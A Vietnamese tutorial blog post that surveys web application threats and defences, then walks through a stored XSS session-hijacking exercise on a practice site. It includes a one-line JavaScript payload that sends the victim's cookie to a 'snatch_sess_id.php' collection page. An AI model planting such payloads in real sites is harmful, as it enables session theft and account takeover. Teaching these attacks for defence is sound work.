Ng&agrave;y c&oacute; c&agrave;ng nhiều người truy cập v&agrave;o Internet hơn bao giờ hết. Điều n&agrave;y đ&atilde; th&uacute;c đẩy nhiều tổ chức ph&aacute;t triển c&aacute;c ứng dụng Web m&agrave; người d&ugrave;ng c&oacute; thể sử dụng trực tuyến để tương t&aacute;c với tổ chức. C&aacute;c đoạn m&atilde; bị viết k&eacute;m, kh&ocirc;ng đảm bảo an to&agrave;n cho c&aacute;c ứng dụng Web, c&oacute; thể bị lợi dụng để truy cập tr&aacute;i ph&eacute;p v&agrave;o dữ liệu nhạy cảm v&agrave; m&aacute;y chủ Web. Tấn c&ocirc;ng trang Web l&agrave; h&igrave;nh thức m&agrave; Hacker thực hiện truy cập v&agrave;o trang Web v&agrave; sử dụng nguồn t&agrave;i nguy&ecirc;n sẵn c&oacute; m&agrave; kh&ocirc;ng cần cấp quyền truy cập.
Trong b&agrave;i viết n&agrave;y, ch&uacute;ng ta sẽ n&oacute;i về c&aacute;c kỹ thuật tấn c&ocirc;ng ứng dụng Web v&agrave; c&aacute;c biện ph&aacute;p bảo vệ.
<h2 style="text-align: justify;">Ứng dụng Web v&agrave; mối đe dọa</h2>
Ứng dụng Web, hay c&ograve;n gọi l&agrave; trang Web,&nbsp;l&agrave; một ứng dụng dựa tr&ecirc;n m&ocirc; h&igrave;nh m&aacute;y kh&aacute;ch v&agrave; m&aacute;y chủ. M&aacute;y chủ cung cấp quyền truy cập cơ sở dữ liệu được lưu trữ tr&ecirc;n một m&aacute;y chủ Web. M&aacute;y kh&aacute;ch sẽ thực thi tr&ecirc;n tr&igrave;nh duyệt Web như Chrome hay FireFox. C&aacute;c ứng dụng Web thường được viết bằng c&aacute;c ng&ocirc;n ngữ như Java, C # v&agrave; VB.Net, PHP, ColdFusion Markup Language,... B&ecirc;n cạnh đ&oacute;, c&aacute;c c&ocirc;ng cụ cơ sở dữ liệu thường được sử dụng trong c&aacute;c ứng dụng Web bao gồm MySQL, MS SQL Server, PostgreSQL, SQLite,...
Hầu hết c&aacute;c ứng dụng Web được lưu trữ tr&ecirc;n c&aacute;c m&aacute;y chủ Public v&agrave; c&oacute; thể được truy cập qua Internet. Điều n&agrave;y khiến c&aacute;c m&aacute;y chủ n&agrave;y dễ bị tấn c&ocirc;ng do khả năng tiếp cận dễ d&agrave;ng. Sau đ&acirc;y l&agrave; c&aacute;c mối đe dọa ứng dụng Web phổ biến.
<ul style="text-align: justify;">
<li>SQL Injection: Mục ti&ecirc;u của mối đe dọa n&agrave;y c&oacute; thể l&agrave; vượt qua c&aacute;c thuật to&aacute;n đăng nhập, ph&aacute; hoại dữ liệu,...</li>
<li>Tấn c&ocirc;ng từ chối dịch vụ: Từ chối người d&ugrave;ng hợp lệ truy cập v&agrave;o t&agrave;i nguy&ecirc;n của ứng dụng.</li>
<li>Cross Site Scripting XSS: Đưa c&aacute;c đoạn m&atilde; c&oacute; thể được thực thi tr&ecirc;n tr&igrave;nh duyệt b&ecirc;n ph&iacute;a m&aacute;y kh&aacute;ch.</li>
<li>Cookie/ Session Poisoning: Kẻ tấn c&ocirc;ng sửa đổi Cookie hoặc dữ liệu phi&ecirc;n để c&oacute; được quyền truy cập tr&aacute;i ph&eacute;p.</li>
<li>Giả mạo biểu mẫu: Sửa đổi dữ liệu biểu mẫu chẳng hạn như gi&aacute; cả trong c&aacute;c ứng dụng thương mại điện tử.</li>
<li>Code Injection: Ti&ecirc;m c&aacute;c đoạn m&atilde; như PHP, Python,... c&oacute; thể được thực thi tr&ecirc;n m&aacute;y chủ. Đoạn m&atilde; c&oacute; thể được c&agrave;i đặt tại c&aacute;c Backdoor (L&agrave; một chương tr&igrave;nh được c&agrave;i đặt tr&ecirc;n hệ thống mục ti&ecirc;u, nhằm mục đ&iacute;ch gi&uacute;p Hacker c&oacute; thể truy cập trở lại v&agrave;o lần sau) v&agrave; từ đ&oacute; c&aacute;c th&ocirc;ng tin nhạy cảm được khai th&aacute;c.</li>
<li>Defacement: Sửa đổi th&ocirc;ng tin được hiển thị tr&ecirc;n một trang Web v&agrave; chuyển hướng tất cả c&aacute;c y&ecirc;u cầu của trang đ&oacute; đến một trang kh&aacute;c c&oacute; chứa th&ocirc;ng điệp của kẻ tấn c&ocirc;ng.</li>
</ul>
<h2 style="text-align: justify;">C&aacute;ch bảo vệ trang Web</h2>
Một tổ chức c&oacute; thể &aacute;p dụng ch&iacute;nh s&aacute;ch sau để tự bảo vệ khỏi c&aacute;c cuộc tấn c&ocirc;ng:
<ul style="text-align: justify;">
<li>Đối với SQL Injection: Việc kiểm tra v&agrave; x&aacute;c thực c&aacute;c tham số của người d&ugrave;ng trước khi gửi ch&uacute;ng đến cơ sở dữ liệu c&oacute; thể gi&uacute;p giảm nguy cơ bị tấn c&ocirc;ng th&ocirc;ng qua SQL Injection. C&aacute;c c&ocirc;ng cụ cơ sở dữ liệu như MS SQL Server, MySQL,... hỗ trợ c&aacute;c tham số v&agrave; c&aacute;c c&acirc;u lệnh để kiểm tra. Sẽ đảm bảo an to&agrave;n hơn nhiều so với c&aacute;c c&acirc;u lệnh SQL truyền thống</li>
<li>Đối với tấn c&ocirc;ng từ chối dịch vụ: Thiết bị tường lửa c&oacute; thể được sử dụng để loại bỏ lưu lượng truy cập từ địa chỉ IP đ&aacute;ng ngờ nếu cuộc tấn c&ocirc;ng chỉ l&agrave; một tấn c&ocirc;ng DoS th&ocirc;ng thường. Cấu h&igrave;nh mạng v&agrave; hệ thống ph&aacute;t hiện x&acirc;m nhập ph&ugrave; hợp cũng c&oacute; thể gi&uacute;p giảm khả năng th&agrave;nh c&ocirc;ng của một cuộc tấn c&ocirc;ng DoS.</li>
<li>Đối với tấn c&ocirc;ng sử dụng Cross Site Scripting: Việc x&aacute;c thực v&agrave; kiểm tra c&aacute;c Header, c&aacute;c tham số được truyền qua URL, tham số của biểu mẫu v&agrave; c&aacute;c gi&aacute; trị ẩn c&oacute; thể gi&uacute;p giảm c&aacute;c cuộc tấn c&ocirc;ng XSS.</li>
<li>Đối với tấn c&ocirc;ng Cookie hoặc Session Poisoning: C&oacute; thể được ngăn chặn bằng c&aacute;ch m&atilde; h&oacute;a nội dung của Cookie.</li>
<li>Đối với Code Injection: Điều n&agrave;y c&oacute; thể được ngăn chặn bằng c&aacute;ch xem x&eacute;t tất cả c&aacute;c tham số l&agrave; dạng dữ liệu chứ kh&ocirc;ng phải l&agrave; đoạn m&atilde; thực thi. Qu&aacute; tr&igrave;nh kiểm tra v&agrave; x&aacute;c thực c&oacute; thể được sử dụng để thực hiện điều n&agrave;y.</li>
<li>Đối với Defacement: Một ch&iacute;nh s&aacute;ch bảo mật ph&aacute;t triển ứng dụng Web tốt phải đảm bảo rằng n&oacute; chặn được c&aacute;c lỗ hổng thường được sử dụng để truy cập v&agrave;o m&aacute;y chủ Web. Thực hiện cấu h&igrave;nh ph&ugrave; hợp cho hệ điều h&agrave;nh, phần mềm m&aacute;y chủ Web v&agrave; thực thi c&aacute;c phương ph&aacute;p bảo mật tốt khi ph&aacute;t triển ứng dụng Web.</li>
</ul>
<h2 style="text-align: justify;">Thực hiện v&iacute; dụ tấn c&ocirc;ng trang Web</h2>
Trong v&iacute; dụ n&agrave;y, ch&uacute;ng ta sẽ chiếm quyền điều khiển phi&ecirc;n của người d&ugrave;ng tr&ecirc;n ứng dụng Web tại www.techpanda.org. Ch&uacute;ng ta sẽ sử dụng tập lệnh XSS để đọc ID của Cookie v&agrave;&nbsp;sau đ&oacute; sử dụng n&oacute; để mạo danh phi&ecirc;n của người d&ugrave;ng hợp lệ.
Giả định được đưa ra l&agrave; kẻ tấn c&ocirc;ng c&oacute; quyền truy cập v&agrave;o ứng dụng Web v&agrave; hắn muốn chiếm quyền điều khiển phi&ecirc;n của những người d&ugrave;ng kh&aacute;c sử dụng c&ugrave;ng một ứng dụng. Mục ti&ecirc;u của cuộc tấn c&ocirc;ng n&agrave;y c&oacute; thể l&agrave; gi&agrave;nh quyền truy cập của quản trị vi&ecirc;n v&agrave;o ứng dụng Web.
<ul style="text-align: justify;">
<li>Đầu ti&ecirc;n, c&aacute;c bạn h&atilde;y mở trang Web tại <a href="http://www.techpanda.org/">đ&acirc;y</a>.</li>
<li>Email đăng nhập l&agrave; admin@google.com v&agrave; mật khẩu l&agrave; Password2010. Nếu đăng nhập th&agrave;nh c&ocirc;ng, bạn sẽ nhận được bảng điều khiển sau:</li>
</ul>
<img class="aligncenter wp-image-6844 size-full" style="display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/59f4da9d-b267-45dc-98c7-cd5e23422a8b" alt="Tan-cong-trang-Web" width="735" height="291" />
<ul style="text-align: justify;">
<li>Nhấp v&agrave;o Add new contact.</li>
<li>Nhập đoạn sau v&agrave;o trường "First Name":&nbsp;&lt;a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape(document.cookie\)\;\"&gt;Dark&lt;/a&gt;.</li>
<li>Đoạn m&atilde; tr&ecirc;n sử dụng JavaScript. N&oacute; sẽ th&ecirc;m một li&ecirc;n kết với một sự kiện Onclick. Khi người d&ugrave;ng nhấp v&agrave;o li&ecirc;n kết, sự kiện sẽ truy xuất ID phi&ecirc;n Cookie PHP v&agrave; gửi n&oacute; đến trang snatch_sess_ID.php c&ugrave;ng với ID của phi&ecirc;n trong URL.</li>
<li>Nhập c&aacute;c chi tiết c&ograve;n lại như h&igrave;nh b&ecirc;n dưới.</li>
<li>Nhấp v&agrave;o Save changes.</li>
</ul>
<img class="aligncenter wp-image-6845 size-full" style="display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/5fbb752f-7e1c-4b92-8462-ace83e4dd0cd" alt="" width="538" height="414" />
<ul style="text-align: justify;">
<li>Trang của bạn b&acirc;y giờ sẽ giống như m&agrave;n h&igrave;nh sau.</li>
</ul>
<img class="aligncenter wp-image-6846 size-full" style="display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/149d540c-dc1f-495e-8014-814d1dd23d27" alt="" width="737" height="314" />
<ul style="text-align: justify;">
<li>V&igrave; m&atilde; tập lệnh XSS được lưu trữ trong cơ sở dữ liệu, n&oacute; sẽ được tải mỗi khi người d&ugrave;ng đăng nhập.</li>
<li>Giả sử quản trị vi&ecirc;n đăng nhập v&agrave; nhấp v&agrave;o li&ecirc;n kết Dark.&nbsp;Anh ta sẽ nhận được cửa sổ với ID của phi&ecirc;n được hiển thị trong URL.</li>
</ul>
<img class="aligncenter wp-image-6847 size-full" style="display: block; margin-left: auto; margin-right: auto;" src="https://tek4.vn/public_files/bac4b42e-c033-4113-860c-c44c60a30176" alt="" width="583" height="131" />
<ul style="text-align: justify;">
<li>Sau khi lấy được Session ID th&igrave; bạn c&oacute; thể sử dụng ID đ&oacute; để truy cập với tư c&aacute;ch l&agrave; người d&ugrave;ng hợp lệ.</li>
<li>Lưu &yacute;:
<ul>
<li>Tập lệnh c&oacute; thể gửi gi&aacute; trị đến một số m&aacute;y chủ từ xa nơi m&agrave; PHPSESSID được lưu trữ, sau đ&oacute; người d&ugrave;ng chuyển hướng trở lại trang Web như b&igrave;nh thường.</li>
<li>Gi&aacute; trị bạn nhận được c&oacute; thể kh&aacute;c với gi&aacute; trị trong hướng dẫn n&agrave;y, nhưng về bản chất th&igrave; giống nhau.</li>
</ul>
</li>
</ul>
<h2 style="text-align: justify;">T&oacute;m tắt</h2>
<ul style="text-align: justify;">
<li>Một ứng dụng Web&nbsp;hoạt động dựa tr&ecirc;n m&ocirc; h&igrave;nh m&aacute;y chủ - m&aacute;y kh&aacute;ch. Ph&iacute;a m&aacute;y kh&aacute;ch sử dụng tr&igrave;nh duyệt Web để truy cập t&agrave;i nguy&ecirc;n tr&ecirc;n m&aacute;y chủ.</li>
<li>C&aacute;c mối đe dọa ứng dụng Web bao gồm SQL Injection, Code Injection, XSS, Defacement, Đầu độc Cookie,...</li>
<li>Một ch&iacute;nh s&aacute;ch bảo mật tốt khi ph&aacute;t triển c&aacute;c ứng dụng Web c&oacute; thể đảm bảo việc bảo mật.</li>
</ul>
<hr />
Fanpage Facebook:&nbsp;<a href="https://www.facebook.com/tek4.vn/">TEK4.VN</a>&nbsp;
Tham gia cộng đồng để chia sẻ, trao đổi v&agrave; thảo luận:&nbsp;<a href="https://www.facebook.com/groups/tek4.vn/">TEK4.VN - Học Lập Tr&igrave;nh Miễn Ph&iacute;</a>

Admin

Tấn Công Trang Web – Hacking (Phần 15)

Cùng tác giả

Admin

Có liên quan